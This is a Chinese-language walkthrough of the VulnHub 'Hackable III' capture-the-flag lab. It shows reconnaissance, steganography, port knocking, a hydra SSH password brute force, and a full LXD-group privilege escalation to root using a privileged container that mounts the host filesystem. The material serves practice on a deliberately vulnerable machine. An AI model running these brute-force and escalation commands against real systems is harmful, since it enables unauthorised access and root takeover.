当前位置: 首页 > article >正文

vulnhub靶场之hackableIII

一.环境搭建

1.靶场描述

Focus on general concepts about CTF

Difficulty: Medium

This works better with VirtualBox rather than VMware.

2.靶场下载

https://download.vulnhub.com/hackable/hackable3.ova

3.靶场启动

二.信息收集

1.寻找靶场真实的Ip

nmap -SP 192.168.246.0/25

arp-scan -l

我们根据这两个命令,可以知道靶场真实IP为192.168.246.7

2.探测端口及服务

nmap -p-  -sV http://192.168.246.7

我们可以看到就2个端口,一个80端口,一个22端口

三.渗透测试

1.访问web服务

http://192.168.246.7

我们可以看到就一个页面,我们查看源代码,可以发现一串英文,和一个登录页面

可以看到是一个提示,我们可能需要使用端口敲门

我们访问登录页面

http://192.168.246.7/login_page/login.html

随便输入用户名和密码,发现进去是空白的,我们查看源代码,可以看到一个3.jpg

我们进行访问

http://192.168.246.7/3.jpg

可以看到是一个图片,我们使用steghide进行解密得到:65535

2.扫描web服务

1)nikto扫描网站结构

nikto -h http://192.168.246.7

2)dirb扫描

dirb http://192.168.246.7

3)dirsearch扫描

dirsearch -u http://192.168.246.7 -e * -x 403 --random-agent

我们可以看到扫描的目录都是一样的,我们一个一个进行访问

3.渗透测试

1)访问目录

http://192.168.246.7/backup/

我们可以看到是一串数字,可能是密码或者用户名

http://192.168.246.7/config

我们发现是一串base64编码,我们进行解密是一个端口

http://192.168.246.7/css/2.txt

我们可以看到是一串Brainfuck编码,解密之后又是一个端口号

根据这些信息,我们猜测是端口敲门。

2)端口敲门

由于网络原因,靶机IP地址更改为10.0.2.4

knock 10.0.2.4 10000 4444 65535

我们没有输入端口敲门命令之前,22端口是关闭的,现在可以看到是开放的

我们开启了22端口,那么我们就使用ssh进行登录

3)ssh登录

用户名我们可以想到是前面源代码里面的jubiscleudo,密码我们使用前面的字典

hydra  -l  jubiscleudo   -P  wordlist.txt   10.0.2.4  ssh

我们可以看到爆破成功,我们进行登录

我们可以看到登录成功

接下来我们就是提权

4)提权

我们查看根目录,可以看到有/home/目录,目录下有一个新的用户,我们进行查看,可以看到密码,我们进行登录

我们进行登录

我们查看id,我们看到lxd,那么这里可能就是使用lxd进行提权

何为LXD呢?
LXD(Linux Containers Daemon)是一个用于管理 Linux 容器的守护进程。它提供了一个用户友好的命令行界面和 RESTful API,用于创建、管理和监视 Linux 容器。LXD 构建在 LXC(Linux Containers)之上,是一个轻量级、高性能的容器虚拟化解决方案。
利用原理就是利用lxd组的用户创建一个容器,再用容器挂载到宿主机的磁盘,就可以利用容器的权限(运行在root权限下)操作这个宿主机从而达到提权了

lxd 提权原理是下载一个镜像,使用镜像创建容器,将容器目录直接映射到物理主机目录,即可在容器中直接访问物理主机的文件

查看当前系统中的镜像:lxc image list

cd /tmp
git clone https://github.com/saghul/lxd-alpine-builder/
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
lxc image import ./alpine*.tar.gz --alias myimage
lxd init
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh

5)获取flag


http://www.kler.cn/news/339034.html

相关文章:

  • Linux防火墙-案例(二)snatdnat
  • qt 10.8作业
  • Css flex布局下 两端对齐与居中对齐
  • 在Vue中使用ECharts与v-if的问题及解决方案
  • 基于java+springboot的旅游信息网站、旅游景区门票管理系统设计与实现
  • SpringCloud Alibaba - Eureka注册中心,Nacos配置中心
  • 【技术详解】SpringMVC框架全面解析:从入门到精通(SpringMVC)
  • jvm里的metaspace oom 排查问题思路-使用MAT
  • 【Transformer 模型中的投影层,lora_projection是否需要?】
  • date:10.4(Content:Mr.Peng)( C language practice)
  • 学生家长必备,中小学课本教材电子书批量下载工具
  • 卡顿丢帧分析
  • 渐开线起始圆和基圆之间有约束关系吗?
  • CVE-2024-9014 pgAdmin4 OAuth2 client ID与secret敏感信息泄漏漏洞
  • Mysql数据库原理--查询收尾+索引+事务
  • ubuntu18.04运行OpenPCDet出现的问题
  • gm/ID设计方法学习笔记(二)
  • FireRedTTS - 小红书最新开源AI语音克隆合成系统 免训练一键音频克隆 本地一键整合包下载
  • 找不到concrt140.dll如何修复,快来试试这6种解决方法
  • 红日靶机(三)笔记